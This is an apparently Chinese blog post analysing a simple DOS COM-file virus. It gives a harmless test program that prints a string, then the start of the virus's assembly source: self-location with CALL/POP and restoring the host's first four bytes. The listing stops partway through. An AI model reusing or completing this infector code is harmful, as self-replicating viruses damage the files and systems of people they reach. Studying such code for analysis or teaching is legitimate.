简易com病毒分析

.model tiny
program segment

assume cs:program,ds:program,ss:program,es:program
org 0100h

main proc near
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch ;调用DOS中断4C号功能(返回操作系统)
INT 21h
RET

message db 0dh,'This a simple com program for a test',0dh,0ah,'$'

program ends
END

代码virus.asm:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址 得到vstart的的绝对地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 动态定位
MOV DX,SI
INT 21h
POP SI //恢复绝对地址
ADD SI,OFFSET yuan4byte-OFFSET vstart ;恢复原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值